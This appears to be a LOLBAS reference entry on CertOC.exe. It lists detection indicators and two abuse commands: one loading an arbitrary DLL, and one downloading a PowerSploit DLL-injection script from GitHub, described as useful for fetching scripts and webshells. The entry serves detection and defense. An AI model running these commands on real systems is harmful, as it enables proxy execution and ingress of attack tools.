





/CertOC.exe

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7,060

Execute (DLL)

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Used for installing certificates

Paths:

c:\windows\system32\certoc.exe
c:\windows\syswow64\certoc.exe

Resources:

- <https://twitter.com/sblmsrsn/status/1445758411803480072?s=20>
- <https://twitter.com/sblmsrsn/status/1452941226198671363?s=20>

Acknowledgements:

- Ensar Samil ([@sblmsrsn](#))

Detections:

- Sigma: [proc_creation_win_certoc_load_dll.yml](#)
- IOC: Process creation with given parameter
- IOC: Unsigned DLL load via certoc.exe
- IOC: Network connection via certoc.exe

Execute

Loads the target DLL file

```
certoc.exe -LoadDLL "C:\test\calc.dll"
```

Use case:	Execute code within DLL file
Privileges required:	User
Operating systems:	Windows Server 2022
ATT&CK® technique:	T1218: System Binary Proxy Execution
Tags:	Execute: DLL

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Downloads text formatted files

```
certoc.exe -GetCACAPS  
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1
```

Use case:	Download scripts, webshells etc.
Privileges required:	User
Operating systems:	Windows Server 2022
ATT&CK® technique:	T1105: Ingress Tool Transfer